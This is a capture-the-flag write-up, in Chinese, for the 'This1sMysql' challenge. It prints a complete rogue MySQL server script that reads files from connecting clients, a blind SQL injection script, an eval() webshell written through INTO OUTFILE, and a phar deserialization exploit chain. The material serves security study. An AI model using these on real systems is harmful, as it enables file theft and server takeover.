[NSSRound#3 Team]This1sMysql

news2024/11/15 8:36:13

[NSSRound#3 Team]This1sMysql

源码

 <?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();

if(isset($_POST['config']) && is_array($_POST['config'])){
    foreach($_POST['config'] as $key => $val){
        $value = is_numeric($var)?(int)$val:$val;
        $conn->set_opt($key, $value);
    }
}

if(isset($_POST['mysql']) && is_array($_POST['mysql'])){
    $my = $_POST['mysql'];
    if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){
        echo "connect success";
        $conn->query("show databases;");
    }
    else{
        echo "connect fail";
    }
    
}
else{
    include("function.php");
}

$conn->close();
?>

先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val,如果是$var是数字,则$val转换成int型赋值给$value否则按原始值赋值。然后执行set_opt($key, $value)百度了一下,发现是mysqli_options函数的别称

那么我们分析下mysqli_options函数的参数

 public mysqli::options(int $option, string|int $value): bool

刚好对应我们源码中的参数

option是可以修改的选项,注意是int型

在这里插入图片描述

而value是布尔值,这俩参数暂时还不知道如何利用

我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件

当然此原理利用的option是**MYSQLI_OPT_LOCAL_INFILE**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件

我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可

(我查的是9,但是参考wp中确实排在8)

config[8]=true

用来读取文件的脚本

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
    return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
    if showInfo:
        log = getLogger(__name__)
        log.setLevel(INFO)
        tmp_format = StreamHandler()
        tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
        log.addHandler(
            tmp_format
        )

    def _infoShow(*args):
        if showInfo:
            log.info(*args)

    # ================================================
    # =======No need to change after this lines=======
    # ================================================

    __author__ = 'Gifts'
    __modify__ = 'Morouu'

    global _rouge_mysql_sever_read_file_result

    class _LastPacket(Exception):
        pass

    class _OutOfOrder(Exception):
        pass

    class _MysqlPacket(object):
        packet_header = Struct('<Hbb')
        packet_header_long = Struct('<Hbbb')

        def __init__(self, packet_type, payload):
            if isinstance(packet_type, _MysqlPacket):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload

        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

            result = "".join(
                (
                    header.decode("latin1") if checkVersionPy3() else header,
                    self.payload
                )
            )

            return result

        def __repr__(self):
            return repr(str(self))

        @staticmethod
        def parse(raw_data):
            packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
            payload = raw_data[1:]

            return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

    class _HttpRequestHandler(async_chat):

        def __init__(self, addr):
            async_chat.__init__(self, sock=addr[0])
            self.addr = addr[1]
            self.ibuffer = []
            self.set_terminator(3)
            self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
                                                                                                           "Auth",
                                                                                                           "Data",
                                                                                                           "MoreLength",
                                                                                                           "File"]
            self.state = self.stateList[0]
            self.sub_state = self.stateList[1]
            self.logined = False
            self.file = ""
            self.push(
                _MysqlPacket(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '5.6.28-0ubuntu0.14.04.1' + '\0',
                        '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                    )))
            )

            self.order = 1
            self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

        def push(self, data):
            _infoShow('Pushed: %r', data)
            data = str(data)
            async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

        def collect_incoming_data(self, data):
            _infoShow('Data recved: %r', data)
            self.ibuffer.append(data)

        def found_terminator(self):
            data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
            self.ibuffer = []

            if self.state == self.stateList[0]:  # LEN
                len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
                    data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = self.stateList[2]  # Data
                else:
                    self.state = self.stateList[3]  # MoreLength
            elif self.state == self.stateList[3]:  # MoreLength
                if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = self.stateList[2]  # Data
            elif self.state == self.stateList[2]:  # Data
                packet = _MysqlPacket.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise _OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
                    if packet.packet_num == 0:
                        if packet.payload[0] == '\x03':
                            _infoShow('Query')

                            self.set_terminator(3)
                            self.state = self.stateList[0]  # LEN
                            self.sub_state = self.stateList[4]  # File
                            self.file = fileName.pop(0)

                            # end
                            if len(fileName) == 1:
                                global _rouge_mysql_server_read_file_end
                                _rouge_mysql_server_read_file_end = True

                            self.push(_MysqlPacket(
                                packet,
                                '\xFB{0}'.format(self.file)
                            ))
                        elif packet.payload[0] == '\x1b':
                            _infoShow('SelectDB')
                            self.push(_MysqlPacket(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise _LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                        else:
                            raise ValueError()
                    else:
                        if self.sub_state == self.stateList[4]:  # File
                            _infoShow('-- result')
                            # fileContent
                            _infoShow('Result: %r', data)
                            if len(data) == 1:
                                self.push(
                                    _MysqlPacket(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise _LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = self.stateList[0]  # LEN
                                self.order = packet.packet_num + 1

                            global _rouge_mysql_sever_read_file_result
                            _rouge_mysql_sever_read_file_result.update(
                                {self.file: data.encode() if not checkVersionPy3() else data}
                            )

                            # test
                            # print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

                            self.close_when_done()

                        elif self.sub_state == self.stateList[1]:  # Auth
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        else:
                            _infoShow('-- else')
                            raise ValueError('Unknown packet')
                except _LastPacket:
                    _infoShow('Last packet')
                    self.state = self.stateList[0]  # LEN
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except _OutOfOrder:
                    _infoShow('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                _infoShow('Unknown state')
                self.push('None')
                self.close_when_done()

    class _MysqlListener(dispatcher):
        def __init__(self, sock=None):
            dispatcher.__init__(self, sock)

            if not sock:
                self.create_socket(AF_INET, SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', port))
                except error:
                    exit()

                self.listen(1)

        def handle_accept(self):
            pair = self.accept()

            if pair is not None:
                _infoShow('Conn from: %r', pair[1])
                _HttpRequestHandler(pair)

                if _rouge_mysql_server_read_file_end:
                    self.close()

    _MysqlListener()
    _asyLoop()
    return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':
    #fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD
    #不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行
    for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():
        print(name + ":\n" + content.decode())

我们只需要修改监听的端口以及读取的文件即可

直接python3 test.py,然后脚本就开启监听

在这里插入图片描述

然后我们POST上传,注意ip和端口是我们内网穿透的

config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265

成功读取

在这里插入图片描述

然后我们分别读取class.php和function.php

在这里插入图片描述

写个脚本恢复一下,把\n和转义的\都修改下

<?php
$filename = 'class.txt'; // 替换为要读取的文件路径

$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);

$file = 'class.php';
file_put_contents($file, $code);

echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>

先看看function.php

<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';

if(!file_exists($mysqlpath)){
    die("NoNONo!");
}
else{
    $arr = json_decode(file_get_contents($mysqlpath));
    if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){
        echo "connect success";
    }
    else{
        echo "connect fail";
    }
}
?>

有file_get_contents函数可以读取文件

发现mysql.txt,访问一下得到

在这里插入图片描述

再来看看class.php,发现可以利用include去文件包含

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES;
    }
    function __toString(){
        return $this->file["file"]["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
}
class Show{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function show()
    {
        $filename = $this->schema . $this->source;
        include($filename);
    }
    public function __wakeup()
    {
        if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
            $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
        }
        if ($this->source !== 'default.jpg') {
            $this->source = 'default.jpg';
        }
    }
}
class Test{
    public $test1;
    public $test2;
    function __toString(){
        $str = $this->test2->test;
        return 'test';
    }
    function __get($value){
        return $this->$value;
    }
    function __destruct(){
        echo $this->test1;
    }

}

?>

我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行

可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND**来执行sql盲注

config[3]=select @@global.secure_file_priv

用于查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。

在这里插入图片描述

盲注脚本如下

import requests
import datetime
import string

url="http://node4.anna.nssctf.cn:28086/"
path_dir=''

for i in range(1,50):
    low = 41
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
        data={
            "config[3]":payload
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 41 or mid == 130):
        break
    path_dir += chr(mid)
    print('目录为:{}'.format(path_dir))

得到目录为/nssctf

在这里插入图片描述

然后利用刚刚得到的数据库信息来写入木马

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

在这里插入图片描述

接下来就是构造phar包,通过into dumpfile上传到/nssctf

pop链子如下

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

这里要构造的是include('/nssctf/shell.php');

exp

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}
class Show{
    public $source;
    public $str;
    public $filter;
}
class Test{
    public $test1;
    public $test2;

}

$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制

在这里插入图片描述

然后利用into dump的语法写入二进制文件

语法区别

  • SELECT ... INTO OUTFILE 将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。
  • SELECT ... INTO DUMPFILE 将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。

在这里插入图片描述

最后就是phar读取文件,在env找到flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1360188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[C#]利用opencvsharp实现深度学习caffe模型人脸检测

【官方框架地址】 https://github.com/opencv/opencv/blob/master/samples/dnn/face_detector/deploy.prototxt 采用的是官方caffe模型res10_300x300_ssd_iter_140000.caffemodel进行人脸检测 【算法原理】 使用caffe-ssd目标检测框架训练的caffe模型进行深度学习模型检测 …

android 分享文件

1.在AndroidManifest.xml 中配置 FileProvider <providerandroid:name"android.support.v4.content.FileProvider"android:authorities"com.example.caliv.ffyy.fileProvider"android:exported"false"android:grantUriPermissions"true…

基于多反应堆的高并发服务器【C/C++/Reactor】(中)创建并初始化TcpServer实例 以及 启动

对于一个TcpServer来说&#xff0c;它的灵魂是什么&#xff1f;就是需要提供一个事件循环EventLop(EventLoop)&#xff0c;不停地去检测有没有客户端的连接到达&#xff0c;有没有客户端给服务器发送数据&#xff0c;描述的这些动作&#xff0c;反应堆模型能够胜任。当服务器和…

网桥的基础知识

1、什么是网桥&#xff1f; 网桥&#xff1a;一种桥接器&#xff0c;连接两个局域网的一种存储/转发设备。工作在数据链路层&#xff0c;是早期的两端口二层网络设备。可将一个大的VLAN分割为多个网段&#xff0c;或者将两个以上的LAN互联为一个逻辑LAN&#xff0c;使得LAN上的…

前端根据文件url路径判断文件预览或者下载以及自定义

需求&#xff1a; 点击不同附件浏览器查看效果不同&#xff0c;比如附近类型为pdf&#xff0c;则打开一个新的tab页在线预览&#xff0c;如果是zip包等&#xff0c;则直接下载&#xff0c;如果是image&#xff0c;则弹窗展示当前图片 如下图&#xff0c;服务端一般会把文件放…

硬盘检测软件 SMART Utility mac功能特色

SMART Utility for mac是一款苹果电脑上磁盘诊断工具&#xff0c;能够自动检测磁盘的状态和错误情况&#xff0c;分析并提供错误报告,以直观的界面让用户可明确地知道自己的磁盘状况。SMART Utility 支持普通硬盘HDD和固态硬盘SSD&#xff0c;能够显示出详细的磁盘信息&#xf…

SpringBoot内嵌的Tomcat启动过程以及请求

1.springboot内嵌的tomcat的pom坐标 启动后可以看到tomcat版本为9.0.46 2.springboot 内嵌tomcat启动流程 点击进入SpringApplication.run()方法里面 看这次tomcat启动相关的核心代码refreshContext(context);刷新上下文方法 public ConfigurableApplicationContext run(Stri…

【2023 CCF 大数据与计算智能大赛】基于TPU平台实现超分辨率重建模型部署 基于QuickRNet的TPU超分模型部署

2023 CCF 大数据与计算智能大赛 《赛题名称》 基于QuickRNet的TPU超分模型部署 巴黎欧莱雅 林松 智能应用业务部算法工程师 中信科移动 中国-北京 gpu163.com 团队简介 巴黎欧莱雅团队包含一个队长和零个队员。 队长林松&#xff0c;研究生学历&#xff0c;2019-202…

【数据库原理】(9)SQL简介

一.SQL 的发展历史 起源&#xff1a;SQL 起源于 1970 年代&#xff0c;由 IBM 的研究员 Edgar F. Codd 提出的关系模型概念演化而来。初期&#xff1a;Boyce 和 Chamberlin 在 IBM 开发了 SQUARE 语言的原型&#xff0c;后发展成为 SQL。这是为了更好地利用和管理关系数据库。…

Mysq之——分库分表

Mysq之——分库分表 简介分库分表的方式垂直分表垂直分库水平分库水平分表 图解&#xff1a;垂直分表与水平分表&#xff08;分库类似&#xff09;分库分表带来的问题 简介 分库分表就是为了解决由于数据量过大而导致数据库性能降低的问题&#xff0c;将原来独立的数据库拆分成…

鸿蒙应用中的通知

目录 1、通知流程 2、发布通知 2.1、发布基础类型通知 2.1.1、接口说明 2.1.2、普通文本类型通知 2.1.3、长文本类型通知 2.1.4、多行文本类型通知 2.1.5、图片类型通知 2.2、发布进度条类型通知 2.2.1、接口说明 2.2.2、示例 2.3、为通知添加行为意图 2.3.1、接…

神经网络框架的基本设计

一、神经网络框架设计的基本流程 确定网络结构、激活函数、损失函数、优化算法&#xff0c;模型的训练与验证&#xff0c;模型的评估和优化&#xff0c;模型的部署。 二、网络结构与激活函数 1、网络架构 这里我们使用的是多层感知机模型MLP(multilayer prrceptron)&#x…

iOS苹果和Android安卓测试APP应用程序的区别差异

在移动应用开发中&#xff0c;测试是一个至关重要的环节。无论是iOS苹果还是Android安卓&#xff0c;测试APP应用程序都需要注意一些差异和细节。本文将详细介绍iOS和Android的测试差异&#xff0c;包括操作系统版本、设备适配、测试工具和测试策略&#xff0c;并回答一些新手容…

Hive实战:分科汇总求月考平均分

文章目录 一、实战概述二、提出任务三、完成任务&#xff08;一&#xff09;准备数据1、在虚拟机上创建文本文件2、上传文件到HDFS指定目录 &#xff08;二&#xff09;实现步骤1、启动Hive Metastore服务2、启动Hive客户端3、创建分区的学生成绩表4、按分区加载数据5、查看分区…

C语言编译器(C语言编程软件)完全攻略(第二十部分:Code::Blocks下载地址和安装教程(图解))

介绍常用C语言编译器的安装、配置和使用。 二十、Code::Blocks下载地址和安装教程&#xff08;图解&#xff09; Code::Blocks 是一款免费开源的 C/C IDE&#xff0c;支持 GCC、MSVC 等多种编译器&#xff0c;还可以导入 Dev-C 的项目。Code::Blocks 的优点是&#xff1a;跨…

支持向量机(Support Vector Machines,SVM)

什么是机器学习 支持向量机&#xff08;Support Vector Machines&#xff0c;SVM&#xff09;是一种强大的机器学习算法&#xff0c;可用于解决分类和回归问题。SVM的目标是找到一个最优的超平面&#xff0c;以在特征空间中有效地划分不同类别的样本。 基本原理 超平面 在二…

YOLOv8改进 | 损失篇 | VarifocalLoss密集目标检测专用损失函数 (VFLoss,原论文一比一复现)

一、本文介绍 本文给大家带来的是损失函数改进VFLoss损失函数,VFL是一种为密集目标检测器训练预测IoU-aware Classification Scores(IACS)的损失函数,我经过官方的版本将其集成在我们的YOLOv8的损失函数使用上,其中有很多使用的小细节(否则按照官方的版本使用根本拟合不了…

代码随想录刷题第三十九天| 62.不同路径 ● 63. 不同路径 II

代码随想录刷题第三十九天 不同路径 (LC 62) 题目思路&#xff1a; 代码实现&#xff1a; class Solution:def uniquePaths(self, m: int, n: int) -> int:dp [[0 for _ in range(n1)] for _ in range(m1)]dp[0][1] 1for i in range(1,m1):for j in range(1, n1):dp[i]…

Qt6入门教程 2:Qt6下载与安装

Qt6不提供离线安装包&#xff0c;下载和安装实际上是一体的了。 关于Qt简介&#xff0c;详见&#xff1a;Qt6入门教程1&#xff1a;Qt简介 一.下载在线安装器 Qt官网 地址&#xff1a;https://download.qt.io/ 在线下载器地址&#xff1a;https://download.qt.io/archive/on…

PHP运行环境之宝塔软件安装及Web站点部署流程

PHP运行环境之宝塔软件安装及Web站点部署流程 1.1安装宝塔软件 官网&#xff1a;https://www.bt.cn/new/index.html 自行注册账号&#xff0c;稍后有用 下载安装页面&#xff1a;宝塔面板下载&#xff0c;免费全能的服务器运维软件 1.1.1Linux 安装 如图所示&#xff0c;宝…